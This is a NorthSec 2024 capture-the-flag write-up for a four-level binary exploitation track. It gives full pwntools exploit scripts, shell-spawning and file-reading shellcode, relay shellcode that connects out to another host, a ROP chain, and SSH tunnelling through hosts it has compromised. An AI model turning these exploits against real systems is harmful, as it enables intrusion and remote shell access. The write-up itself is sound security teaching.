NSEC24 Intestinal System - Thu, May 30, 2024 - Klammydia
Surprise shellcoding | Pwn | Nsec24
Intro
Hubert Hackin’’ is a very disciplined CTF team. We have a very strict regimen for every situation. The first step is always: Read everything that is available. Let us start with the challenge description.
Mr Wellington has indicated having digestion problem. The intestines act as some kind of filter chain for nutriments to be absorbed. These nutriments are some kind of messages and are being filtered out. The first filter is available here: next. It is reachable at the address 9000:9aab:1f66:e9a7:216:3eff:fec9:efb6 port 8080. You’ll need to figure out the filtering mechanism of the intestines and make sure to reach the multiple levels of access. I have a gut feeling that you’re going to do well on this one.
We are also given a binary program and an endpoint. We can consider the program exposed on the given endpoint given is the one we have been given. Let us start digging into this binary.
Level 1
Analysis
This program looks more complex than it really is. It is a socket server that requests a password from clients. It validates the supplied password against a file name auth.txt
. We could try and understand the hashing algorithm used and try and find a collision.
Unfortunately, I started working on this on friday night. I fell asleep. Hit my head on A
and my beer fell on my keyboard and hit Enter
after a few 0x10s of A
s. The binary was killed following a segmentation fault.
Let us have a look at what happened. Here is the relevant code.
int requestAuth()
{
char password[32];
memset(password, 0, sizeof(password));
send(connSocket, "Password: ", 10uLL, 0);
recv(connSocket, password, 64uLL, 0);
password[strcspn(password, "\n")] = 0;
return authenticate(password);
}
This looks like a textbook buffer overflow vulnerability: writing 64 user-supplied bytes to a 32 bytes buffer on the stack. Turns out I spend several months a year teaching exploitation of textbook buffer overflow vulnerabilities.
Exploit
As for the exploitation strategy, don’t forget to run checksec
to see what is available to us.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Seems to me that we can do whatever we want. Lets get a shell. Easiest would be if there was some kind of win function. Turns out there is: spawnShell
does exactly that. It forks, dups the socket to stdio, execs /bin/bash
. Cool. Let us control PC through the saved return address on the stack and redirect execution to that function.
Here is my theoretical payload.
from pwn import *
context.log_level = 'CRITICAL' # Shush
e = ELF('./bin')
win = e.symbols['spawnShell']
pl = b'A' * 0x20 # Fill the password buffer
pl += b'B' * 8 # Saved RBP
pl += p64(win) # overwrite return address with address of win
sys.stdout.buffer.write(pl)
Unfortunately, this will not work. Welcome to 20xx (or x86_64). The ABI requires the stack to be 16-byte aligned. If everything seems fine, you are controling PC, args are fine but you are crashing in a Libc function (usually with PC on something similar to this instruction: movaps XMMWORD PTR [rsp+0x40],xmm0
), you are hitting this situation. This usually means the stack is aligned to 8, instead of 16. A quick fix is moving the stack pointer an extra pointer. To do this, I tend to use ret
: pop an address off of the stack, moves it by 8 bytes, and is effectively a no-op for a stack-based exploit. The updated exploit script looks like this.
from pwn import *
context.log_level = 'CRITICAL' # Shush
e = ELF('./bin')
rop = ROP(e)
win = e.symbols['spawnShell']
ret = rop.find_gadget(['ret']).address
pl = b'A' * 0x20 # Fill the password buffer
pl += b'B' * 8 # Saved RBP
pl += p64(ret) # Stack align for Libc quirk, effectively no-op
pl += p64(win) # overwrite return address with address of win
sys.stdout.buffer.write(pl)
To get a shell, send the payload to the target. Don’t forget to keep your tubes open.
$ (python solve1.py ; cat) | ncat -6 9000:9aab:1f66:e9a7:216:3eff:fec9:efb6 8080
Post-exploitation
The auth.txt
file contains 4 hashes. We could try to crack them. That looks painful, lets relegate this idea to the maybe later queue.
The next.txt
file contains the following:
FLAG-e91e8a12fc3b660405acb0a02fbb8bed
9000:9aab:1f66:e9a8:216:3eff:fea6:9223
New endpoint? Ah. We are also given the next
binary which is probably what is running on this new endpoint. Let us loop.
This was worth 1 point. It wasn’t a hard one, but it was more effort than many other 1-point challenges.
Level 2
This new version of the program got rid of the authentication function and the spawnShell
function but adds a handleMessage
function. Let us have a look at this new friend.
void handleMessage(int clientSocket) {
size_t len;
size_t len2;
char buf[256];
int n;
memset(buf, 0, sizeof(buf));
snprintf(buf, 0x100, "DEBUG: buf is at %p\n", buf);
len = strlen(buf);
write(clientSocket, buf, len);
memset(buf, 0, sizeof(buf));
n = read(clientSocket, buf, 1024);
if ( n > 0 ) {
printf("[+] data: %s\n", buf);
len2 = strlen(buf);
write(clientSocket, buf, len2);
} else {
puts("Done reading");
}
}
Not that different. We still have a stack-based buffer overflow: reading 1024 bytes into buf
of 256 bytes. Is checksec
any different?
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Without the win function, I would say the next easiest strategy would be jumping into an injected shellcode into the stack. Let us begin with writing a shellcode.
Shellcode
During the CTF, I tried to generate a shellcode with pwntools but I ended up patching the shellcode myself. I needed to do two things.
- Duplicate the socket file descriptor over stdio file descriptors
- Execute
/bin/sh
Here is what I ended with.
/* dup() file descriptor rbp into stdin/stdout/stderr */
push 2
pop rsi
push 5
pop rdi
/* dup2(fd='rdi', fd2='rsi') */
/* call dup2() */
push SYS_dup2 /* 0x21 */
pop rax
syscall
dec rsi
push SYS_dup2 /* 0x21 */
pop rax
syscall
dec rsi
push SYS_dup2 /* 0x21 */
pop rax
syscall
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
Exploit
As for the exploitation, it is straightforward as the binary simply prints you the address of your buffer. So I constructed my payload like so:
payload = shellcode + 'A' * (280 - len(shellcode)) + p64(buffer_address)
Here is the full payload script. (shellcode abbreviated.)
from pwn import *
context(arch='amd64', os='linux')
sc = '''
/* dup() file descriptor rbp into stdin/stdout/stderr */
push 2
pop rsi
...
push SYS_execve /* 0x3b */
pop rax
syscall
'''
sc = asm(sc)
io = remote("::1", 8080)
io.sendline(b"abc")
io.recvuntil(b"DEBUG: buf is at ")
buf_addr = int(io.recvline().decode().strip(), 16)
io.sendline(sc + b'A' * (280 - len(sc)) + p64(buf_addr))
io.interactive()
To run this payload, you need to setup a proxy through the host of the first level. I wrote my ssh keys into .ssh/authorized_keys
and setup a proxy like so:
export LEVEL1="9000:9aab:1f66:e9a7:216:3eff:fec9:efb6"
export LEVEL2="9000:9aab:1f66:e9a8:216:3eff:fea6:9223"
ssh -L 8080:[$LEVEL1]:8080 sysadmin@$LEVEL2
Then send the payload (yes, to localhost).
Post-Exploitation
Again, we have a next.txt
containing a flag and a new host. Copy your ssh keys and let us loop some more.
FLAG-8cbd11efddd10dbb8185d7b76d7308f9
9000:9aab:1f66:e9a9:216:3eff:fe5c:fa1a
This was worth 2 points. Again, this is leaning on the high-effort side for two points. Fair if pwntools worked.
Alternate universe
Here is pretty much the same shellcode, generated with pwntools. That would certainly have been simpler.
sc = shellcraft.syscall('SYS_dup2', 5, 0)
sc += shellcraft.syscall('SYS_dup2', 5, 1)
sc += shellcraft.syscall('SYS_dup2', 5, 2)
sc += shellcraft.sh()
sc = asm(sc)
Level 3
Analysis
At first glance, this new binary looks exactly the same as level 2. For science, let’s try throwing our previous payload at it and see what happens:
Bad system call (core dumped)
Cool. Something’s broken and I have no clue what it is. What is even different between both binaries? After a moment I found what I was looking for. In the main function, a seccomp filter is being setup. These are somewhat annoying to decode, and I usually rely on a little tool called seccomp-tools
.
$ seccomp-tools dump ./gut3
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0d 0xffffffff if (A != 0xffffffff) goto 0018
0005: 0x15 0x0b 0x00 0x00000000 if (A == read) goto 0017
0006: 0x15 0x0a 0x00 0x00000001 if (A == write) goto 0017
0007: 0x15 0x09 0x00 0x00000002 if (A == open) goto 0017
0008: 0x15 0x08 0x00 0x00000003 if (A == close) goto 0017
0009: 0x15 0x07 0x00 0x00000021 if (A == dup2) goto 0017
0010: 0x15 0x06 0x00 0x00000029 if (A == socket) goto 0017
0011: 0x15 0x05 0x00 0x0000002a if (A == connect) goto 0017
0012: 0x15 0x04 0x00 0x0000002b if (A == accept) goto 0017
0013: 0x15 0x03 0x00 0x0000003c if (A == exit) goto 0017
0014: 0x15 0x02 0x00 0x00000048 if (A == fcntl) goto 0017
0015: 0x15 0x01 0x00 0x000000e8 if (A == epoll_wait) goto 0017
0016: 0x15 0x00 0x01 0x000000e9 if (A != epoll_ctl) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x06 0x00 0x00 0x00000000 return KILL
In other words, we have a syscall whitelist and the ones you see listed are the only ones we are allowed to use. Our previous shellcode used dup2
and execve
. dup2
is allowed, execve
sadly isn’t. But how are we to open a shell without fork
or execve
? Oh I get it… we don’t. Here is where this track became evil. (Don’t forget, this is an on-site CTF happening after a few days of NorthSec related events, and your brain may not function to its full capacity.)
Exploit
As is pretty classic in these situations, we must enter the figure it out mindset and simply make it work, somehow.
We can see there will be three parts to this one.
- Reading the
next.txt
file which should contain the flag and next host. (Askgod says we are 2/4) - Reading the
next
file which should be the next level’s binary. - Setting up a proxy to send out payload to level 4.
- No execve means no creating the
.ssh
directory to drop our ssh keys in and no proxy programs. =(
- No execve means no creating the
Our NorthSec philosophy is simple: every challenge must be solved. No tapping out, no being picky. We do them all. This meant that at this point I was already thinking about reaching level 4 and saw very little value in only reading out a text file but rather needed to read the binary.
My first shellcode was a simple open
, read
, write
shellcode to grab the contents of a file and write it out to the socket. It allocated the buffer on the stack, which should allow me enough space to read pretty much any reasonable file at once. Pwntools’ shellcraft has primitives for this.
sc = shellcraft.cat2('next', 5, 200)
sc = asm(sc)
Now that’s cool and all. I could read up to 207 bytes of a file but nothing beyond that. Why? The process was sent a SIGILL
signal. This stumped me pretty good and I did not manage to investigate it well enough during the competition to fix it (see Alternate Universe). I decided to read the files one chunk at a time.
Here is where I started getting my hands dirty and manually writing some assembly. Here is how I read arbitrary files chunk by chunk. I kept the original open
done by shellcraft and modified the read
/write
sequence to loop until the file was completely read.
/* push b'./next\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x7478656e2f2e
xor [rsp], rax
/* call open('rsp', 'O_RDONLY', 0x1e) */
push 2 /* 2 */
pop rax
push rax
pop r15
mov rdi, rsp
push 0x1e
pop rdx
xor esi, esi /* O_RDONLY */
syscall
mov r15, rax
sub rsp, rdx
loop:
push 0x1e
pop rdx
/* call read('rax', 'rsp', 'rdx') */
mov rdi, r15
xor eax, eax /* SYS_read */
mov rsi, rsp
syscall
/* call write(5, 'rsp', 'rax') */
mov rdx, rax
mov r14, rax
push 1 /* 1 */
pop rax
push 5
pop rdi
mov rsi, rsp
syscall
test r14, r14
jnz loop
export $LEVEL1="9000:9aab:1f66:e9a7:216:3eff:fec9:efb6"
export $LEVEL2="9000:9aab:1f66:e9a8:216:3eff:fea6:9223"
export $LEVEL3="9000:9aab:1f66:e9a9:216:3eff:fe5c:fa1a"
ssh -J sysadmin@[$LEVEL1] sysadmin@$LEVEL2 -L 8181:[$LEVEL3]:8080
In other words, connect to level 2 by jumping through level 1 and then tunnel to level 3. This should open a socket one localhost:8181 that will be sent to level3:8080. Run your script.
You can read the full exploit script here
Alternate Universe
Now that the CTF is over I can take the time to look at what wasn’t working and here is the shellcode generated by shellcraft.cat2('/etc/passwd', 5, 300)
.
/* push b'/etc/passwd\x00' */
push 0x1010101 ^ 0x647773
xor dword ptr [rsp], 0x1010101
mov rax, 0x7361702f6374652f
push rax
/* call open('rsp', 'O_RDONLY', 0x12c) */
push SYS_open /* 2 */
pop rax
mov rdi, rsp
xor edx, edx
mov dx, 0x12c
xor esi, esi /* O_RDONLY */
syscall
sub rsp, rdx
/* call read('rax', 'rsp', 'rdx') */
mov rdi, rax
xor eax, eax /* SYS_read */
mov rsi, rsp
syscall
/* call write(5, 'rsp', 'rax') */
mov rdx, rax
push SYS_write /* 1 */
pop rax
push 5
pop rdi
mov rsi, rsp
syscall
So it is using the stack to create the buffer for our read data. But here is the issue. Remember how we setup our full payload?
payload = shellcode + 'A' * (280 - len(shellcode)) + p64(buffer_address)
When we sub rsp, rdx
we are in fact moving rsp
into our shellcode and writing over it. That is what was causing a SIGILL
, the contents of the file being interpreted as instructions… As we say in french: “mal joué.”
Here is a quick fix to this payload that could have worked very well during the CTF but yeah, that didn’t happen!
sc = f'mov rsp, {buf_addr - 1024}\n'
sc += shellcraft.cat2('/etc/passwd', 5, 30000)
sc = asm(sc)
Post-Exploitation
Here we are able to read in arbitrary files. Here is next.txt
.
FLAG-d0d9f77db81c8c42b7dc73007409cac9
9000:9aab:1f66:e9aa:216:3eff:fede:c0de
We were also able to read out the next target binary.
This was worth 4 points and was solved by ~8 teams.
Level 3.5
Before we get into the level 4 binary, we need a way to talk to it. Here is where the rest of the whitelisted syscalls came into play. We are going to have to relay our data to the next host via our shellcode. This took some time but I will spare you much of the frustration that came with having to write this payload by hand. Here is what I came up with (from here, things get real ugly but hey, as long as the bytes go through and come back, I’m a happy club Maté drinker).
The basic outline is as so:
- Create a socket (fd 6)
- Connect our socket to the level 4 endpoint
- Loop between
- Reading from our client socket (5) and writing to level 4 via our new socket (6)
- Reading the response from level 4 (6) and writing it out to our initial socket (5)
/* socket(0xa, 0x1, 0) */
mov eax, 41 /* socket */
mov rdi, 0xa
mov rsi, 0x1
xor rdx, rdx
syscall
/* connect(3, {sa_family=0xa, sin6_port="\x1f\x90", sin6_flowinfo="\x00\x00\x00\x00", sin6_addr="\x90\x00\x9a\xab\x1f\x66\xe9\xaa\x02\x16\x3e\xff\xfe\xde\xc0\xde", sin6_scope_id=0}, 28) */
/*
0x555555558060 <host_addr>: 0x00000000901f000a 0xaae9661fab9a0090
0x555555558070 <host_addr+16>: 0xdec0defeff3e1602 0x0000000000000000
for u2: 9000:9aab:1f66:e9aa:216:3eff:fede:c0da
*/
/* prod
*/
mov r15, 0x0000000000000000
push r15
mov r15, 0xdec0defeff3e1602
push r15
mov r15, 0xaae9661fab9a0090
push r15
mov r15, 0x00000000901f000a
push r15
/*
mov r15, 0x0000000000000000
push r15
mov r15, 0xdac0defeff3e1602
push r15
mov r15, 0xaae9661fab9a0090
push r15
mov r15, 0x00000000901f000a
push r15
*/
mov rsi, rsp
mov rdx, 28
mov rax, 42
mov rdi, 6
syscall
sub rsp, 1024
/* read(5, rsp, 1024) */
rloop:
xor rax, rax
mov rdi, 5
mov rsi, rsp
mov rdx, 0x400
syscall
cmp rax, 0
jl rloop
/* write(6, rsp, rax) */
mov rdx, rax
mov rax, 1
mov rdi, 6
syscall
/* read(6, rsp, 32) */
mov rax, 0
mov rdi, 6
mov rsi, rsp
mov rdx, 32
syscall
mov r15, rax
/* write(5, rsp, rax) */
mov rdx, rax
mov rax, 1
mov rdi, 5
mov rsi, rsp
syscall
test r15, r15
jne rloop
Let us digest it piece by piece. Starting with socket connection.
socket
and connect
Now sock_addr
are some very displeasing structures to fill in manually. IPV6 is an extra layer of pain when writing those. I therfore opted not to write them in assembly. What I decided to do was most definitely unoptimal but it gave me a good giggle so I went for it.
The idea was as followed:
- Reconfigure my personnal incus bridge to ipv6 and assign it a very small subnet close to the challenge’s IPv6 address
- Write a simple program in C the would connect to the binary running in my incus container.
- Carve the structure out of that program’s memory.
- Use that exact buffer in my payload and close my eyes to any further problems that might incur.
So what you see here is the result of that. Starting by the little C program:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int host_sockfd;
int client_sockfd;
struct sockaddr_in6 host_addr;
int main()
{
host_sockfd = socket(AF_INET6, SOCK_STREAM, 0);
host_addr.sin6_family = AF_INET6;
host_addr.sin6_port = htons(8080);
struct in6_addr s6 = { };
inet_pton(AF_INET6, "9000:9aab:1f66:e9aa:216:3eff:fede:c0de", &s6);
host_addr.sin6_addr = s6;
connect(host_sockfd, (struct sockaddr*) &host_addr, sizeof(host_addr));
return 0;
}
After debugging this one and extracting the values of the params to the syscall, I got this thing:
mov r15, 0x0000000000000000
push r15
mov r15, 0xdec0defeff3e1602
push r15
mov r15, 0xaae9661fab9a0090
push r15
mov r15, 0x00000000901f000a
push r15
/*
mov r15, 0x0000000000000000
push r15
mov r15, 0xdac0defeff3e1602
push r15
mov r15, 0xaae9661fab9a0090
push r15
mov r15, 0x00000000901f000a
push r15
*/
mov rsi, rsp
mov rdx, 28
mov rax, 42
mov rdi, 6
syscall
There are two setups in there because my container did not have the exact same IPv6 address. But it was only one byte off, which made it easy to swap around. First one was the actualy endpoint, second (commented) was my ubuntu container.
Proxy
Once the socket connection is established, all we had to do was pass one the data both ways. Here is the relevant parts of the shellcode.
sub rsp, 1024
/* read(5, rsp, 1024) */
rloop:
xor rax, rax
mov rdi, 5
mov rsi, rsp
mov rdx, 0x400
syscall
cmp rax, 0
jl rloop
/* write(6, rsp, rax) */
mov rdx, rax
mov rax, 1
mov rdi, 6
syscall
/* read(6, rsp, 32) */
mov rax, 0
mov rdi, 6
mov rsi, rsp
mov rdx, 32
syscall
mov r15, rax
/* write(5, rsp, rax) */
mov rdx, rax
mov rax, 1
mov rdi, 5
mov rsi, rsp
syscall
test r15, r15
jne rloop
Here we are, connected, proxied, seatbelted, vaccinated, and with our last binary in hand. Let’s dive.
Level 4
Analysis
First off, when exfiltrating the binary, I realized it was quite a bit larger that the previous ones. Here is why:
$ file ./bin
bin: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=7ef6e836ea9af93204d5694d540fb390ad3a5c06, for GNU/Linux 3.2.0, with debug_info, not stripped
It is statically linked. Surely, it has something to do with what checksec
will have to say right?
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Yup, NX is now online. Meaning we will not be able to inject shellcode into this one. Let’s have a look at the vulnerability of the previous challenge to see if it is still around.
It kind of is. It is still reading 1024 bytes into a 256 bytes buffer, but it is not printing us the address of our buffer this time around. Because NX is enabled, this doesn’t really matter because we are unable to jump into our injected shellcode. It address seems far less necessary in this situation.
Exploit Development
I chose the easy path for this one, Pwntools… and it turned out to be a poor choice. It was trying to set every register for syscalls using sigreturn rop and failed impressively.
I then tried out another easy path, ROPgadget… and it turned out to be a poor choice. It was able to generate a pretty crude ROPchain to call execve
. But it set rax
by incrementing it a bunch of times by 1. Also, do get anything out of it, we also had to call dup2
to get our shell IO into our socket. ROPgadget does not do this automatically. On to finding the gadgets.
We needed to…
- Set
rax
toSYS_dup2
(33) - Set
rdi
to 5 - Set
rsi
to 0, 1, 2 - Syscall
Here are the gadgets I found looking at the gadgets reported by ROPGadget:
- Set
rax
toSYS_dup2
(33):0x04021dc: pop rax; ret
- Set
rdi
to 5:0x04022ff: pop rdi ; ret
- Set
rsi
to 0, 1, 20x040a36e: pop rsi ; ret
- Syscall:
0x040198e: syscall
Hey wait! I need to return after that syscall. I got some more to do! I need syscall; ret
.
$ cat gadgets | grep -E 'syscall.*ret'
$
No results… What the actual…
Maybe ropper
could help?
$ ropper -f ./bin | grep -E 'syscall.*ret' | wc -l
241
Now that’s better. Lesson learned. ROPGadget considers syscall
a sink and stops after reaching one.
- Syscall:
0x041b076: syscall; ret;
Now ROPgadget gave us a good execve
ROPchain though, so let’s use that. I generated the shellcode and wrote it out to a file to use later on.
$ wc -c pl_internal
1056 pl_internal
Remember that we were reading 1024 bytes into a 256 bytes buffer… yeah our payload is too big. Thanks ROPgadget…
Luckily, the fix is simple. Replace ROPgadget’s rax
assign which looks like this.
p += pack('<Q', 0x000000000043f2f9) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000479870) # add rax, 1 ; ret
… with our own.
p += p64(0x000000000043f2f9) # xor rax, rax ; ret
p += p64(0x00000000004021dc) # pop rax ; ret
p += p64(59) # execve
That should help…
$ wc -c pl_internal
600 pl_internal
We now have a functionnal payload. Onto sending it?
Actual Exploitation
So we have our payload written to a file and we have a payload to proxy our into through a socket to the level 4 endpoint. Stitching those two together, I ended up with something along the lines of this.
from pwn import *
context(arch='amd64', os='linux')
lvl3_host = 'localhost'
io = remote(lvl3_host, 8181)
io.sendline(b"A" * 0x60)
io.recvuntil(b"DEBUG: buf is at ")
buf_addr = int(io.recvline().decode().strip(), 16)
print(hex(buf_addr))
sc = '''
/* socket(0xa, 0x1, 0) */
mov eax, 41 /* socket */
...
syscall
test r15, r15
jne rloop
'''
sc = asm(sc)
p1 = sc + b'\x90' * (280 - len(sc)) + p64(buf_addr)
io.sendline(p1)
io.recvline()
# Socket is now connected and we are proxying
# Send the level4 payload through our proxy.
with open('pl_internal', 'rb') as fd:
pint = fd.read()
io.sendline(pint)
io.interactive()
To run it, you have to setup your ssh tunnels to hit level 3 as before.
export $LEVEL1="9000:9aab:1f66:e9a7:216:3eff:fec9:efb6"
export $LEVEL2="9000:9aab:1f66:e9a8:216:3eff:fea6:9223"
export $LEVEL3="9000:9aab:1f66:e9a9:216:3eff:fe5c:fa1a"
ssh -J sysadmin@[$LEVEL1] sysadmin@$LEVEL2 -L 8181:[$LEVEL3]:8080
In other words, connect to level 2 by jumping through level 1 and then tunnel to level 3. This should open a socket one localhost:8181 that will be sent to level3:8080. Run your script.
The host had trouble ingesting food and making sure all nutriments get properly extracted. I do know that he likes eating, maybe too much. I appreciate your creative solution, and hope that the host will make sure to ingest adequate food, otherwise your efforts will go to waste. System repaired.
Woot! Saturday afternoon and arguably one of the hardest tracks done.
This was worth 8 points and our team were the only ones to solve this during the CTF. Thinking back, this track feels undervalued for the time invested as it took me around the same number of hours as it was worth points, and we usually try and get more points/h than a 1 to 1 ratio.
Conclusion
All and all, this was a fun track. I am happy we are starting to see more binary challenges at NorthSec. Along with the excretory-system track, I lived enough emotions for the week.
Thanks a bunch to both challenge designers: olipro007 and zer0x64
My final payloads, uncleaned are here:
- Solve level 1
- Theoretical level 1
- Solve level 2
- Solve level 2 with shellcraft
- Solve level 3
- Proxy to level 4
- Solve level 4
Might as well publish the original binaries:
Klmd. o7